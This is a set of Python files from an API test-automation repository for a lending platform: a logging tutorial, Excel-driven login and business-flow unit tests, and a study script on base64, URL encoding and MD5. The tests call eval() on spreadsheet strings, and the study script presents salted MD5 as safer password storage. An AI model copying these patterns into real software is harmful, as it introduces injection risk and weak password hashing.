resp = requests.request("POST", recharge_url, json=recharge_data, headers=headers)
print(resp.json()) | {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,020 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/02_日志处理.py | import logging
# 1、创建一个日志收集器
logger = logging.getLogger("mylogger")
# 2、给日志收集器设置日志级别
logger.setLevel(logging.DEBUG)
# 3、给日志收集器创建一个输出渠道
stream_handler = logging.StreamHandler()
file_handler = logging.FileHandler('error.log', encoding="utf-8")
file_handler.setLevel(logging.ERROR)
# 4、给渠道设置一个日志输出内容的格式
fmt = "%(asctime)s-%(name)s-%(levelname)s：%(message)s"
# 5、将日志格式绑定到渠道当中
stream_handler.setFormatter(logging.Formatter(fmt))
file_handler.setFormatter(logging.Formatter(fmt))
# 6、将设置好的渠道添加到日志收集器上
logger.addHandler(stream_handler)
logger.addHandler(file_handler)
logger.debug('debug message')
logger.info('info message')
logger.warning('warning message')
logger.error('error message')
logger.critical('critical message')
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,021 | tylhhh/API_qianchengdai | refs/heads/master | /TestCases/test_login.py |
import unittest
from Common.handle_excel import HandleExcel
from Common.handle_path import datas_dir
from Common.myddt import ddt, data
from Common.handle_db import HandleDB
from Common.handle_log import logger
from Common.handle_requests import send_requests
get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","登陆")
cases = get_excel.read_all_datas()
get_excel.close_file()
db = HandleDB()
@ddt
class TestLogin(unittest.TestCase):
@classmethod
def setUpClass(cls):
logger.info("***************************登录用例开始*****************************************")
@classmethod
def tearDownClass(cls):
logger.info("***************************登录用例结束*****************************************")
@data(*cases)
def test_login(self,case):
logger.info("***************执行第{}条用例：{}*********************".format(case["id"], case["title"]))
resp = send_requests(case["method"],case["url"],case["request_data"])
expected = eval(case["expected"])
logger.info("用例的期望结果为：{}".format(expected))
try:
self.assertEqual(resp.json()["code"],expected["code"])
self.assertEqual(resp.json()["msg"], expected["msg"])
except AssertionError as e:
logger.exception("断言失败!")
raise e
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,022 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/11_常用的加密算法.py | """
算法1：base64（编码算法）
常用在URL、cookie、网页中传输少量二进制数据
"""
# 编码
import base64
byte_str = "I like you".encode("utf-8")
encode_str = base64.b64encode(byte_str)
print(encode_str)
# 解码
decode_str = base64.b64decode("SSBsaWtlIHlvdQ==")
print(decode_str.decode("utf-8"))
"""
算法2：urlencode（URL编码）
base64的特征是尾部经常带有=号
url编码的特征是%很多
"""
from urllib.parse import quote,unquote
q = '菜鸟'
# 编码
url = 'http://www.baidu.com/?text={}'.format(quote(q))
print(url)
# 解码
b = unquote('%E8%8F%9C%E9%B8%9F')
print(b)
"""
算法3：md5
md5不是编码，也不是加密，叫做摘要算法，又称哈希算法和散列算法
作用：1、防止篡改；2、校验数据
摘要算法的另一个应用场景是用来保存密码
摘要算法是不可逆的，无法解密得到原始数据
"""
import hashlib
hash = hashlib.md5()
# 明文密码是123456
hash.update(b"123456")
hash_str = hash.hexdigest()
print(hash_str)
"""
纯粹的摘要算法不是一种特别安全的方式去存储密码
可以通过”加盐“的方式提高安全性
"""
salt = 'the salt'
pwd = '8888'
salt_pwd = salt+pwd
hash = hashlib.md5()
hash.update(salt_pwd.encode("utf-8"))
hash_str = hash.hexdigest()
print(hash_str) | {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,023 | tylhhh/API_qianchengdai | refs/heads/master | /TestCases/test_business.py | import unittest,json
from Common.handle_excel import HandleExcel
from Common.handle_path import datas_dir
from Common.myddt import ddt,data
from Common.handle_log import logger
from Common.handle_phone import get_new_phone
from Common.handle_data import EnvData,clear_EnvData_atts,replace_case_by_regular
from Common.handle_requests import send_requests
from Common.handle_extract_data import extract_data
from Common.handle_db import HandleDB
get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","业务流")
cases = get_excel.read_all_datas()
get_excel.close_file()
@ddt
class TestBusiness(unittest.TestCase):
@classmethod
def setUpClass(cls) -> None:
clear_EnvData_atts()
new_phone = get_new_phone()
setattr(EnvData, "phone", new_phone)
@data(*cases)
def test_business(self,case):
logger.info("***************执行第{}条用例：{}*********************".format(case["id"], case["title"]))
replace_case_by_regular(case)
if hasattr(EnvData,"token"):
resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token)
else:
resp = send_requests(case["method"], case["url"], case["request_data"])
if case["extract_data"]:
extract_data(case["extract_data"],resp.json())
if case["expected"]:
expected = eval(case["expected"])
logger.info("期望结果：{}".format(expected))
try:
self.assertEqual(resp.json()["code"], expected["code"])
self.assertEqual(resp.json()["msg"], expected["msg"])
except AssertionError as e:
logger.exception("断言失败!")
raise e
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
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